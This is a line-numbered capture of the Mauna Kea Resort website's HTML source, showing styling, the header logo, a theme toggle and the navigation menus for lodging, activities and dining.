.3s;display:block;position:absolute;top:30px;left:11px;right:11px;height:1px;background-color:currentColor}.nav-toggle>span:before{-webkit-transition-duration:.3s,.3s;-moz-transition-duration:.3s,.3s;transition-duration:.3s,.3s;-webkit-transition-delay:.3s,0s;-moz-transition-delay:.3s,0s;transition-delay:.3s,0s;-webkit-transition-property:top,transform;-moz-transition-property:top,transform;transition-property:top,transform;top:-9px;background-color:currentColor;content:"";display:block;height:1px;left:0;position:absolute;width:100%}.nav-toggle>span:after{-webkit-transition-duration:.3s,.3s;-moz-transition-duration:.3s,.3s;transition-duration:.3s,.3s;-webkit-transition-delay:.3s,0s;-moz-transition-delay:.3s,0s;transition-delay:.3s,0s;-webkit-transition-property:bottom,transform;-moz-transition-property:bottom,transform;transition-property:bottom,transform;bottom:-9px;background-color:currentColor;content:"";display:block;height:1px;left:0;position:absolute;width:100%}.nav-toggle>span>span{display:block;padding-top:15px;text-transform:uppercase;font-size:12px;color:currentColor}.active-nav .nav-toggle>span{background:none}.active-nav .nav-toggle>span:before{-webkit-transform:rotate(45deg);-moz-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);top:0}.active-nav .nav-toggle>span:after{-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);-ms-transform:rotate(-45deg);transform:rotate(-45deg);bottom:0}.package-slider{width:415px;min-height:300px}.package-slider .slick-arrow{top:80px}.package-slider .slick-prev{left:0;transform:translate(5px,0%)}.package-slider .slick-prev:hover{transform:translate(0,0%)}.package-slider .slick-next{right:0;transform:translate(-5px,0%)}.package-slider .slick-next:hover{transform:translate(0,0%)}
3430.nav-westin-hapuna-beach-resort .sn-link:hover{text-decoration:none!important;color:#529d6e!important}.nav-westin-hapuna-beach-resort span{display:inline-block;position:relative}.nav-westin-hapuna-beach-resort span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#529d6e!important;pointer-events:none}@media screen and (max-width:1023px){.nav-westin-hapuna-beach-resort span:after{content:none}}.nav-on-site-medical-care .sn-link:hover{text-decoration:none!important;color:#529d6e!important}.nav-on-site-medical-care span{display:inline-block;position:relative}.nav-on-site-medical-care span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#529d6e!important;pointer-events:none}@media screen and (max-width:1023px){.nav-on-site-medical-care span:after{content:none}}.nav-westin-hapuna-beach-resort .level3 a:hover{color:#529d6e!important}@media(hover:hover){.nav-westin-hapuna-beach-resort .level3 a:hover{color:#529d6e}.nav-westin-hapuna-beach-resort .level3 a:hover::before{background-color:#529d6e}}.primary-nav>li.nav-mauna-kea-beach-hotel{display:none!important}</style>
3431
3432
3433<style>
3434  .MuiPaper-root h6.MuiTypography-root { color: #fff; }
3435  input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; }
3436</style>
3437
3438
3439<a href="#main-content" class="ada-hidden skip-nav-link">Skip to main content</a>
3440
3441
3442
3443
3444<header class="site-header" role="banner">    
3445
3446    <style>.hello-bar{background-color:#ff671f;color:#fff;text-align:center;padding:.25em 2em .25em 2em}.hello-bar:focus-visible{outline:none}.hello-bar>.inner{text-align:center;padding:.25em 0}.hello-bar h3{font-size:.9rem;margin:0;line-height:1.25em}@media screen and (max-width:991.98px){.hello-bar h3{margin:0 0 .5em;width:100%}}.hello-bar p{line-height:1.4em}.hello-bar p:last-of-type{margin-bottom:0}.hello-bar a{color:currentColor}.hello-bar a:hover{color:#000}.is-westin .hello-bar{background-color:#529d6e}@media screen and (max-width:767px){.hello-bar br.desk-only{display:none}}.hb-close{position:absolute;top:0;right:.25em}.hb-close i{font-size:1.35rem}.popup-countdown-container{display:flex;align-items:center;justify-content:center}@media screen and (max-width:991.98px){.popup-countdown-container{flex-wrap:wrap}}.popup-countdown-container .countdown #clockdiv{display:flex;gap:1.5rem;margin:0 1.5rem}.popup-countdown-container .countdown .time-item{box-sizing:border-box;text-align:center;position:relative;z-index:2;font-size:10px;display:block;text-align:center;text-transform:uppercase;letter-spacing:2px;line-height:1.6em}.popup-countdown-container .countdown .time-item:last-child{border-right:none;background-repeat:no-repeat}.popup-countdown-container .countdown .time-item>span{font-size:1rem;font-weight:700;letter-spacing:.075em}.popup-countdown-container .cyber-link{display:inline-block;font-size:.75rem;background-color:#000;color:#fff;margin:.5rem 0;padding:.65em 1em;border-radius:2em;white-space:nowrap;text-transform:uppercase}.popup-countdown-container .cyber-link:hover{background-color:#fff;color:#000}</style>
3447
3448
3449
3450
3451
3452
3453<script>
3454	_hdmq.add(function () {
3455		
3456		// close hello bar
3457		$('.js-hb-close').on('click', function() {
3458			$('.hello-bar').slideUp();
3459		});
3460		
3461	});
3462</script>
3462
3463
3464
3465
3466
3467
3468    <div class="cf inner site-header-inner">
3469
3470   
3471        
3472        <div class="site-logo"><a href="/"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 501.54 196.46"><title>Mauna Kea Resort</title><path class="sl-1" d="M253.38 0a14.28 14.28 0 0 0-4.3.67 12.48 12.48 0 0 0-7.55 6.22c-5 9.14 1 22.38 9.87 29.18 3.28-8.21 7.64-12.54 11.16-16 1-1 1.88-1.86 2.68-2.76a7.21 7.21 0 0 0 1.75-6.39c-.62-3.87-3.43-7.31-7.71-9.45a12.47 12.47 0 0 0-5.9-1.47ZM253.22 39.5a36.28 36.28 0 0 1 .84 16.6 60.33 60.33 0 0 0-.45 3.58c-.19 3.07.49 5.39 2.08 7.08 2.09 2.23 5.73 3.31 11.12 3.31a12.47 12.47 0 0 0 9.49-4.62 10.18 10.18 0 0 0 2.33-8.53c-1.72-10.32-14.71-15.84-25.3-17.43Z"/><path class="sl-1" d="M251.27 39.69c-6.05 3.56-14.22 4.93-19.66 5.83a9.05 9.05 0 0 0-5.77 5.32 14.92 14.92 0 0 0-.08 12c3.61 6.76 10.37 9.15 16.83 5.92 12.86-6.5 9.86-23.83 8.68-28.99ZM229.51 16.56a12.45 12.45 0 0 0-9.35 4.3 13.94 13.94 0 0 0-4 10.19 12 12 0 0 0 4.48 8.47c2.67 2.47 7.59 3.48 13.84 2.84a46.71 46.71 0 0 0 15.68-4.54c-6.21-4.72-9.76-9.42-11.83-15.65a8.28 8.28 0 0 0-6.58-5.4 11.55 11.55 0 0 0-2.24-.21ZM253.24 37.19a58 58 0 0 1 15.54 4.53c1.26.52 2.46 1 3.69 1.47 2.53 1 5.77.48 8.87-1.34 3.59-2.1 6.1-5.42 6.56-8.67a15.22 15.22 0 0 0-2.75-11.24 11.2 11.2 0 0 0-7.7-4.24c-10.48-.91-20.49 9.14-24.21 19.49Z"/><g><path class="sl-2" d="M427.01 131.26c-.89 0-14.7.48-14.49-2.68.25-3.92 19.8-3.49 23.91-2.7 1.62.31 3.65.91 3.47 2.48s-5.08 2.7-12.89 2.9ZM286.1 136.57c-.66 0-10.83.47-10.68-2.69.19-3.91 14.6-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.74 2.67-9.5 2.91ZM479.81 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/><path class="sl-3" d="M2.86 128.32c1-2.39 1.78-4.84 2.93-7.14 4.95-9.91 17.06-11 24.12-2.41 3.41 4.17 4.94 9.27 7.48 13.87 2.73 5 4.59 5.05 7.44.23 2.27-3.82 4.25-7.81 6.59-11.58 3.19-5.12 7.05-9.17 14-8s9.47 6.23 10.83 12a40.18 40.18 0 0 1 1 15.26c-.27 1.88-.83 3.8-3.29 3.5-2.08-.26-2.35-1.93-2.3-3.74a45.47 45.47 0 0 0-2-15.15c-.81-2.53-1.93-5.23-4.91-5.69-3.29-.51-4.52 2.43-5.75 4.65-2.46 4.46-4.12 9.33-7.06 13.57-6 8.64-13.7 8.65-19.21-.33-2.65-4.32-4.55-9.1-6.83-13.66-1.21-2.45-2.93-5.1-5.66-5-3.1.06-4.42 3.13-5.42 5.8a68.56 68.56 0 0 0-2.93 12.51c-.39 2.41-.77 5.38-2 6.07s-5.08.77-7.26-.19c-3.71-1.62-2.56-4.45-2.18-6.29.48-2.34 1.6-5.41 2.41-8.28ZM341.19 116.84c.13-2.53.83-5.25 4.07-5.14 2.88.09 3.61 3 3.71 5 .06 1.16-.83 6.88 4.83 4.66a147.44 147.44 0 0 1 29-9.41c2.86-.57 5.27-.47 5.92 2.56.75 3.51-2.54 3.36-4.62 3.65a150.58 150.58 0 0 0-23.1 5.25c-1.63.51-4 .94-3.89 3.15.08 1.8 2.21 2.22 3.73 2.8 8.53 3.26 17.53 4.5 26.46 6 1.78.31 4.67.3 4.7 2.49.22 2.73-1.26 4.59-4 5.6-4.1 1.52-7.83-.12-11.6-1.12a99 99 0 0 1-23.11-9.74c-3.56-2-4.17-.87-4.09 2.46a27.18 27.18 0 0 1-.18 5c-.33 2-1.06 3.88-3.65 4-2.83.17-4-1.76-4.12-4-.23-4.01-.25-19.58-.06-23.21ZM199.32 122.41c2.51-8.73 10.34-11.94 18.72-7 6 3.53 9.42 8.72 13.65 14 2.23 2.79 5.23 7.15 9.15 6.22 4.12-1 4.25-5.87 4.51-9.32.28-3.91-.06-6.6 0-9.91 0-1.67.32-2.95 2.32-3.12a2.83 2.83 0 0 1 3.27 2.34c1.72 6.76 3.29 13.55 1 20.49-2.47 7.6-10.71 10.25-18.36 5.94-5.68-3.2-9.24-8.41-12.87-13.55-1.71-2.43-3.32-4.93-5.12-7.29-1.42-1.87-3-3.26-5.8-3-2.1.22-4 2.08-4.54 5.74s-.21 9.83.07 15.2c.1 1.92.57 4.36-2.15 4.82s-3.39-1.77-4.12-3.92c-.96-2.79-1.71-10.79.27-17.64ZM501.45 143.26c-.3.94-1.38 1.07-3.2 1.07s-2.47-1.53-2.57-2.87c-.38-5.26-.72-10.52-2.78-15.5-2.22-5.38-6.06-8.41-12-8.85s-10.21 2.34-12.94 7.39a33.2 33.2 0 0 0-4.1 16.1c0 2.8-1.36 4.11-3.81 4-2.25 0-4.66-.34-5.4-3.32-2.31-9.26 6.24-23.64 15.39-27.88 11.85-5.48 27.15 1.58 30.47 16.61.62 2.91 1.32 11.92.94 13.25Z"/><path class="sl-4" d="M189.38 118.36c-.38 14.35-9.25 24.8-21.51 25.75a23.78 23.78 0 0 1-25.29-26.69c.35-3 1.84-4.52 4.82-4.32s5.21 1.34 5 4.81a23.62 23.62 0 0 0 2.28 11c2.1 4.75 5.35 8.12 11.06 8.49 6.54.43 11.65-1.55 14.93-7.47a27.37 27.37 0 0 0 3-11.34c.18-2.22-.8-5.63 3.2-5.38 2.85.2 2.48 3.42 2.51 5.15Z"/><path class="sl-5" d="M427.73 144.59c-9 0-16.47-1.26-22.91-5.92-9.71-7-9-16.33 1.42-22.34 8.74-5 19.68-4.69 27.55-3.52a49.72 49.72 0 0 1 6.75 1.48c1.18.37 2.41.94 2.17 2.43s-1.42 1.88-2.94 1.64c-2.77-.43-5.51-1.14-8.3-1.42-7.82-.81-14.18.92-16.67 2.15-4 2-6.82 4.61-6.89 8.79s2.76 6.64 6 8.42c7.49 4.08 15.59 3.68 23.7 2.62.81-.1 1.88-.38 2.69-.49 1.76-.25 2.91.59 3 2.18.11 1.3-1.28 2.14-2.66 2.49a58.33 58.33 0 0 1-12.91 1.49ZM133.69 138.64a15 15 0 0 1 .06 2.21c-.05 1-.2 3.13-2.41 3.22a2.5 2.5 0 0 1-2.78-2.79 32.06 32.06 0 0 0-1.73-10.69c-2.44-7.89-7.59-11.49-15.86-11.22-6.36.2-11.45 4.73-13.18 12a32.22 32.22 0 0 0-1.08 7.79c0 3.88-2.42 4.85-5.38 4.9-3.16.05-4-2-3.78-5 .73-9 3.43-17.2 11.21-22.57 9.72-6.72 28.06-4.73 32.85 11.5a57.83 57.83 0 0 1 2.08 10.65Z"/><path class="sl-4" d="M307.51 137.55c0 1.63.05 2.62 0 3.61-.09 1.42-.67 2.7-2.19 2.88a2.63 2.63 0 0 1-3-2.67 36 36 0 0 0-2.34-9.59c-2.72-7.16-8.27-11.14-14.86-11s-11.25 4-14 11.35a51.54 51.54 0 0 0-2.26 9.06c-.27 1.44-.9 3.08-2.85 2.83a2.74 2.74 0 0 1-2.33-2.86c.09-9.1 1.06-18.16 9-24.12 7.18-5.42 15.49-5.68 23.38-1.58 8.98 4.74 10.76 13.57 11.45 22.09Z"/><path class="sl-2" d="M112.97 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/></g><g><path class="sl-6" d="m186.45 195.99-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.56 2.56 0 0 0 1.08-2.26 2.52 2.52 0 0 0-1-2.25 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM201.61 195.99v-18.56h15.13v2.83h-11.83v4.84h11.26v2.78h-11.26v5.38h12.4l-.47 2.78ZM242.23 182.55a4.67 4.67 0 0 0-1.09-1.74 4.17 4.17 0 0 0-1.69-.94 9.56 9.56 0 0 0-2.53-.28 9.17 9.17 0 0 0-3.87.66 2.07 2.07 0 0 0-1.38 1.91 2 2 0 0 0 .9 1.77 8.3 8.3 0 0 0 3.13.94l3.85.5
34727a9.3 9.3 0 0 1 4.77 1.83 4.66 4.66 0 0 1 1.52 3.68 4.57 4.57 0 0 1-2.25 4.07 11.66 11.66 0 0 1-6.3 1.44q-4.43 0-6.7-1.53a6.33 6.33 0 0 1-2.66-4.76h3.33a3.8 3.8 0 0 0 1.78 2.79 8.24 8.24 0 0 0 4.25.88 8 8 0 0 0 3.86-.76 2.34 2.34 0 0 0 1.34-2.13 2.08 2.08 0 0 0-.92-1.79 6.77 6.77 0 0 0-2.88-.94l-3.33-.49a16.28 16.28 0 0 1-4.08-1.07 4.84 4.84 0 0 1-2.18-1.75 5 5 0 0 1-.65-2.65 4.36 4.36 0 0 1 2.25-3.89 12.08 12.08 0 0 1 6.31-1.39 13.58 13.58 0 0 1 4.18.55 6.21 6.21 0 0 1 2.72 1.66 6.81 6.81 0 0 1 1.49 2.91ZM278.03 186.71a10.09 10.09 0 0 1-1.27 5.11 8.57 8.57 0 0 1-3.65 3.42 13.63 13.63 0 0 1-11.14.06 8.47 8.47 0 0 1-3.69-3.36 11 11 0 0 1-.05-10.34 8.63 8.63 0 0 1 3.65-3.42 12.28 12.28 0 0 1 5.64-1.22 12.46 12.46 0 0 1 5.5 1.16 8.43 8.43 0 0 1 3.69 3.37 10 10 0 0 1 1.32 5.22Zm-3.41 0a6.93 6.93 0 0 0-1.86-5.15 8.41 8.41 0 0 0-10.5 0 8 8 0 0 0 0 10.3 8.37 8.37 0 0 0 10.5 0 6.87 6.87 0 0 0 1.86-5.15ZM303.98 195.99l-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.94 2.94 0 0 0 .05-4.51 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM324.7 195.99v-15.73h-7.48v-2.78h18.28v2.78h-7.49v15.78Z"/></g></svg></a></div>
3473        
3474
3475        <nav class="mobile-utility">
3476        </nav>
3477
3478        <div class="nav-panel">
3479            <nav class="utility">
3480                <ul class="unstyled-list utility-nav">
3481                    <li class="un-ww">
3482                        <div class="weather-widget">
3483                            
3484                            <img class="weather-icon" src="/images/layout/icons/weather/nfew.svg" alt="today's weather" />
3485                            <span class="high">82&deg;F</span> 
3486                            <span class="pipe">|</span> 
3487                            <span class="low">27&deg;C</span>
3488                        </div>
3489                    </li>
3490                    
3491                    <li class="un-tt">
3492                        <style>body.theme-loading{overflow:hidden}.theme-overlay{position:fixed;top:0;left:0;z-index:111;width:100%;height:100%;background-color:rgba(255,103,31,.8);color:#fff;display:flex;align-items:center;justify-content:center;opacity:0;pointer-events:none;transition:opacity .6s ease}.dusk-active .theme-overlay{background-color:rgba(24,36,64,.8)}.theme-overlay .icon{display:block;width:40px;height:40px;margin:0 auto .5em;transform:scale(4);opacity:0;transition:opacity 1s ease,transform 1s ease}.theme-overlay .icon .plumeria-1{fill:currentColor}.theme-overlay .icon svg{width:100%;height:100%}.theme-loading .theme-overlay .icon{opacity:1;transform:scale(1) rotate(180deg)}.theme-overlay .theme-caption{font-family:"Kristabelle",cursive;font-size:3vw;line-height:2.4em;padding:0 1em;clip-path:polygon(0 0,0 0,0 100%,0 100%);transition:clip-path .75s ease-out 1s}@media screen and (max-width:767px){.theme-overlay .theme-caption{font-size:8vw}}.theme-loading .theme-overlay .theme-caption{clip-path:polygon(0 0,100% 0%,100% 100%,0 100%)}.theme-loading .theme-overlay{pointer-events:auto;opacity:1}.theme-toggle{position:relative;z-index:2;border:1px solid #ff671f;border-radius:1.25em;padding:1px;display:flex}@media screen and (max-width:767px){.theme-toggle{padding:0}}.theme-toggle button{font-family:"Lora",serif;font-size:.7rem;padding:.45em .55em;color:currentColor;border-radius:1.25em}.theme-toggle button:hover{color:#ff671f}@media screen and (max-width:767px){.mobile-utility .theme-toggle button{padding:0 .6rem;height:32px}}.theme-toggle .tt-bg{box-sizing:border-box;position:absolute;top:1px;left:1px;z-index:-1;padding:.45em 1.675em;color:currentColor;border-radius:1.25em;background-color:#ff671f;color:#fff;pointer-events:none;cursor:default;height:calc(100% - 2px);transition:left .35s ease-out}@media screen and (max-width:767px){.theme-toggle .tt-bg{padding:.45em 1.4em}}.dawn-active .theme-toggle [data-theme="dawn"]{color:#fff}.dawn-active .theme-toggle .tt-bg{left:1px}.dusk-active .theme-toggle [data-theme="dusk"]{color:#fff}.dusk-active .theme-toggle .tt-bg{left:calc(50% - 3px)}@media screen and (max-width:767px){.dusk-active .theme-toggle .tt-bg{left:50%}}</style>
3493
3494<div class="theme-toggle">
3495	<button class="js-btn-theme" data-theme="dawn">Dawn</button>
3496	<button class="js-btn-theme" data-theme="dusk">Dusk</button>
3497	<div class="tt-bg"></div>
3498</div>
3499
3500<div class="theme-overlay">
3501    <div>
3502        <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 71.94 70.13">
3502<path class="plumeria-1" d="M37.28 0c-1.42 0-2.88.22-4.3.67-3.41 1.08-6.09 3.29-7.55 6.22-5.02 9.14 1.02 22.37 9.87 29.17 3.28-8.21 7.64-12.54 11.16-16.02.97-.96 1.88-1.87 2.68-2.76 1.53-1.53 2.17-3.86 1.76-6.4-.63-3.87-3.44-7.31-7.71-9.45-1.77-.95-3.8-1.44-5.9-1.44ZM37.12 39.49c2.08 8.15 1.45 12.45.84 16.61-.18 1.21-.34 2.34-.45 3.57-.19 3.07.49 5.39 2.08 7.08 2.09 2.23 5.73 3.31 11.13 3.31 3.57 0 7.12-1.73 9.49-4.62 2.09-2.55 2.91-5.58 2.32-8.53-1.72-10.32-14.7-15.84-25.3-17.43h-.1Z"/><path class="plumeria-1" d="M35.16 39.68c-6.04 3.57-14.21 4.93-19.66 5.84-3.16.84-4.89 3.36-5.77 5.32-1.69 3.75-1.72 8.66-.08 11.95 3.61 6.76 10.37 9.15 16.83 5.92 12.91-6.46 9.91-23.78 8.68-28.94v-.08ZM13.41 16.56c-3.51 0-7.01 1.57-9.35 4.3C1.24 23.91-.2 27.53.02 31.05c.2 3.23 1.75 6.16 4.47 8.47 2.68 2.47 7.59 3.48 13.84 2.84 5.33-.54 11.16-2.24 15.68-4.55-6.21-4.72-9.75-9.42-11.83-15.65-.93-2.79-3.33-4.76-6.57-5.4-.73-.14-1.46-.21-2.2-.21ZM37.13 37.19c7.24 1.06 11.65 2.9 15.54 4.53 1.26.53 2.46 1.02 3.69 1.47 2.54.98 5.77.49 8.88-1.34 3.58-2.1 6.1-5.42 6.56-8.67.53-4.23-.47-8.33-2.76-11.25-1.88-2.4-4.54-3.87-7.69-4.24-10.48-.91-20.5 9.15-24.22 19.49Z"/></svg></div>
3503        <div class="theme-caption">wana'ao</div>
3504    </div>
3505</div>
3506
3507
3508
3509
3510<script>
3511    _hdmq.add(function() {
3512        const docBody = document.querySelector('body');
3513        docBody.classList.remove('dawn-active');
3514        docBody.classList.add('dusk-active');
3515        let videoSrc = $('#footer-video').data('dusk-src');        
3516        $('#footer-video').find('source').attr('src', videoSrc);
3517        $('#footer-video')[0].load();
3518    });    
3519</script>
3519
3520
3521
3522                    </li>
3523                    
3524                    <li><a href="/mauna-kea-beach-hotel/take-a-tour">Take a Tour</a></li>
3525                    <li><a href="/special-offers">Specials</a></li>
3526                    <li><a href="/the-club">The Club</a></li>
3527                    <li><a href="tel:1-877-880-6524">877.880.6524</a></li>                    
3528                </ul>
3529            </nav>
3530            <nav class="site-nav" role="navigation">
3531                <ul id="menubar1" hdmtype="navpackages" class="unstyled-list primary-nav level1">
3532<li data-pid="655" class="nav-home"><a href="https://www.maunakearesort.com/home" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Home</span></a>
3533</li><li data-pid="3" class="nav-stay"><a href="https://www.maunakearesort.com/stay/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Stay</span></a>
3534<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3535<li class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/stay/mauna-kea-beach-hotel/" class="sn-link"  ><span>Mauna Kea Beach Hotel</span></a>
3536<ul class="unstyled-list level3">
3537<li><a href="https://www.maunakearesort.com/stay/mauna-kea-beach-hotel/renovation"  >Renovation</a>
3538</li></ul>
3539</li><li class="nav-westin-hapuna-beach-resort"><a href="https://www.maunakearesort.com/stay/westin-hapuna-beach-resort" class="sn-link"  ><span>The Westin Hapuna Beach Resort</span></a>
3540</li><li class="nav-mauna-kea-residences"><a href="https://www.maunakearesort.com/stay/mauna-kea-residences" class="sn-link"  ><span>Mauna Kea Residences</span></a>
3541</li><li class="nav-specials-and-packages"><a href="https://www.maunakearesort.com/stay/specials-and-packages" class="sn-link"  ><span>Specials & Packages</span></a>
3542</li><li class="nav-photo-video-gallery"><a href="https://www.maunakearesort.com/stay/photo-video-gallery" class="sn-link"  ><span>Take a Tour</span></a>
3543</li><li class="nav-on-site-medical-care"><a href="https://www.maunakearesort.com/stay/on-site-medical-care" class="sn-link"  ><span>On-Site Medical Care</span></a>
3544</li><li class="nav-accessible-rooms"><a href="https://www.maunakearesort.com/stay/accessible-rooms" class="sn-link"  ><span>Accessible Rooms</span></a>
3545</li><li class="nav-laundry-valet"><a href="https://www.maunakearesort.com/stay/laundry-valet" class="sn-link"  ><span>Laundry Valet</span></a>
3546</li></ul>
3547</div></div><div class="col col-2"></div></div></div></li><li data-pid="4" class="nav-play"><a href="https://www.maunakearesort.com/play/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Play</span></a>
3548<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3549<li class="nav-resort-happenings"><a href="https://www.maunakearesort.com/play/resort-happenings/" class="sn-link"  ><span>Resort Happenings</span></a>
3550<ul class="unstyled-list level3">
3551<li><a href="https://www.maunakearesort.com/play/resort-happenings/event-calendar"  >Event Calendar</a>
3552</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/luau"  >Mauna Kea Luau</a>
3553</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/webcam"  >Live Webcam View</a>
3554</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/interactive-map"  >Interactive Map</a>
3555</li></ul>
3556</li><li class="nav-activities"><a href="https://www.maunakearesort.com/play/activities/" class="sn-link"  ><span>Activities</span></a>
3557<ul class="unstyled-list level3">
3558<li><a href="https://www.maunakearesort.com/play/activities/resort-retail"  >Resort Retail</a>
3559</li><li><a href="https://www.maunakearesort.com/play/activities/beach-and-pool"  >Beach & Pool </a>
3560</li><li><a href="https://www.maunakearesort.com/play/activities/tennis"  >Tennis & Pickleball</a>
3561</li><li><a href="https://www.maunakearesort.com/play/activities/bocce-ball"  >Bocce Ball</a>
3562</li><li><a href="https://www.maunakearesort.com/play/activities/kids-programs"  >Kids Programs</a>
3563</li><li><a href="https://www.maunakearesort.com/play/activities/online-shopping"  target='_blank'>Online Shopping</a>
3564</li></ul>
3565</li><li class="nav-wellness"><a href="https://www.maunakearesort.com/play/wellness/" class="sn-link"  ><span>Wellbeing</span></a>
3566<ul class="unstyled-list level3">
3567<li><a href="https://www.maunakearesort.com/play/wellness/spa-salon"  >Spa & Salon</a>
3568</li><li><a href="https://www.maunakearesort.com/play/wellness/fitness"  >Fitness</a>
3569</li></ul>
3570</li><li class="nav-cultural-activities"><a href="https://www.maunakearesort.com/play/cultural-activities" class="sn-link"  ><span>Cultural Activities</span></a>
3571</li><li class="nav-live-webcams"><a href="https://www.maunakearesort.com/play/live-webcams" class="sn-link"  target='_blank'><span>Live Webcams</span></a>
3572</li><li class="nav-island-activities"><a href="https://www.maunakearesort.com/play/island-activities" class="sn-link"  ><span>Island Activities</span></a>
3573</li><li class="nav-tesla-experience"><a href="https://www.maunakearesort.com/play/tesla-experience" class="sn-link"  ><span>Tesla Experience</span></a>
3574</li><li class="nav-gopro-experience"><a href="https://www.maunakearesort.com/play/gopro-experience" class="sn-link"  ><span>GoPro Experience</span></a>
3575</li><li class="nav-beach-and-pool"><a href="https://www.maunakearesort.com/play/beach-and-pool" class="sn-link"  ><span>Beach & Pool</span></a>
3576</li></ul>
3577</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/play.jpg?042088944173523446" alt="Adventure Awaits" class="object-fit"></div><figcaption>Adventure Awaits</figcaption></figure><p><span data-teams="true"><span class="ui-provider a b c d e f g h i j k l m n o p q r s t u v w x y z ab ac ae af ag ah ai aj ak" dir="ltr">Discover events and activities to make the most of your stay on our island home.</span></span></p><p><a gaq='Nav,Promo-AdventureAwaits' href="https://maunakearesort.com/play/" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="5" class="nav-dine"><a href="https://www.maunakearesort.com/dine/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Dine</span></a>
3578<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3579<li class="nav-overview"><a href="https://www.maunakearesort.com/dine/overview" class="sn-link"  ><span>Overview</span></a>
3580</li><li class="nav-signature"><a href="https://www.maunakearesort.com/dine/signature/" class="sn-link"  ><span>Signature</span></a>
3581<ul class="unstyled-list level3">
3582<li><a href="https://www.maunakearesort.com/dine/signature/manta"  >Manta</a>
3583</li><li><a href="https://www.maunakearesort.com/dine/signature/meridia"  >Meridia</a>
3584</li><li><a href="https://www.maunakearesort.com/dine/signature/mauna-kea-luau"  >The Mauna Kea Luau</a>
3585</li></ul>
3586</li><li class="nav-quick"><a href="https://www.maunakearesort.com/dine/quick/" class="sn-link"  ><span>Quick</span></a>
3587<ul class="unstyled-list level3">
3588<li><a href="https://www.maunakearesort.com/dine/quick/mauna-kea-market"  >Mauna Kea Market</a>
3589</li><li><a href="https://www.maunakearesort.com/dine/quick/plumeria-market"  >Plumeria Market</a>
3590</li><li><a href="https://www.maunakearesort.com/dine/quick/piko"  >Piko Coffee + Bar</a>
3591</li></ul>
3592</li><li class="nav-casual"><a href="https://www.maunakearesort.com/dine/casual/" class="sn-link"  ><span>Casual</span></a>
3593<ul class="unstyled-list level3">
3594<li><a href="https://www.maunakearesort.com/dine/casual/copper-bar"  >Copper Bar</a>
3595</li><li><a href="https://www.maunakearesort.com/dine/casual/hau-tree"  >Hau Tree</a>
3596</li><li><a href="https://www.maunakearesort.com/dine/casual/ikena-landing"  >
3596Ikena Landing</a>
3597</li><li><a href="https://www.maunakearesort.com/dine/casual/naupaka-beach-grill"  >Naupaka Beach Grill</a>
3598</li><li><a href="https://www.maunakearesort.com/dine/casual/islander-sake-brewery"  >Islander Sake Brewery</a>
3599</li><li><a href="https://www.maunakearesort.com/dine/casual/manta-breakfast"  >Manta Breakfast </a>
3600</li></ul>
3601</li><li class="nav-in-room-dining"><a href="https://www.maunakearesort.com/dine/in-room-dining/" class="sn-link"  ><span>In-Room Dining</span></a>
3602<ul class="unstyled-list level3">
3603<li><a href="https://www.maunakearesort.com/dine/in-room-dining/mauna-kea-beach-hotel"  >Mauna Kea Beach Hotel</a>
3604</li><li><a href="https://www.maunakearesort.com/dine/in-room-dining/the-westin-hapuna-beach-resort"  >The Westin Hapuna Beach Resort</a>
3605</li></ul>
3606</li><li class="nav-private-dining"><a href="https://www.maunakearesort.com/dine/private-dining" class="sn-link"  ><span>Private Dining</span></a>
3607</li></ul>
